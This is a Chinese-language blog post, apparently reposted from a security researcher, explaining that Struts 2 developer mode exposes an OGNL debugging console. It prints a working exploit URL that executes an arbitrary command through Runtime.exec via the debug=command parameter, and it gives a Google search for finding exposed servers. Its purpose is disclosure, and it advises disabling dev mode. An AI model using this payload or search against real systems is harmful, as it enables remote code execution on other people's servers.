Struts 2 的開發者模式:一個OGNL后門

Struts 2的開發者模式相信很多Struts2的開發人員都很熟悉了,在這種模式中,如果你發出一個HTTP請求,會生成冗余的日志,資源重新加載,避免我們每次改變屬性、校驗器或者其他東西后都需要重啟服務器。 然而有件事情并不是特別廣為人知(事實上它甚至沒有出現在Struts2開發者模式的官網上):它能夠讓OGNL插入后門,允許開發人員輕松地從OGNL的控制臺檢查他們的值棧或者申請參數。這個對開發者來說十分方便的功能一旦被應用程序標示后發布在生產服務器就變成了一個可怕的安全噩夢。

如果我們查看“調試”頁面,我們就可以看到一些它是如何工作的相關信息。它使調試截斷器給我們帶來了一些有趣的指令:

  • XML:轉儲參數,上下文,會話和值棧,作為XML文檔。
  • 控制臺:顯示一個“OGNL控制臺”的彈窗,允許用戶測試OGNL對值棧的表達式。來自XML模式的XML數據會被插入在頁面的頂端。

image001

命令:測試OGNL表達式,并返回字符串結果。僅由OGNL控制臺使用。

  • 瀏覽器:顯示該對象的參數(默認情況下#context)指定對象的字段值。當對象的參數設置,在“#”字符需要轉義為“%23”。像debug=browser&object=%23parameters

image002

 

所以我們只要加載下面的頁面就可以濫用這個功能執行任何命令:

http://vulnserver.com/some.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Calculator.app/Contents/MacOS/Calculator%27%29

注意,即使是Struts2的最新版本也會運行(其中“允許靜態方法訪問“使用以前的帖子的凈荷解釋。

現在,你可能想知道誰在開發模式上發布應用程序了吧?那么自己去檢查一下:

https://www.google.com/search?q=intitle%3A%22Struts+Problem+Report%22+%22You+are+seeing+this+page+because+development+mode+is+enabled.%22

所以,千萬不要忘了在發布應用程序到生產服務器之前把開發模式禁用掉。

參考鏈接:http://www.pwntester.com//blog/2014/01/21/struts-2-devmode/

【via@91Ri.org團隊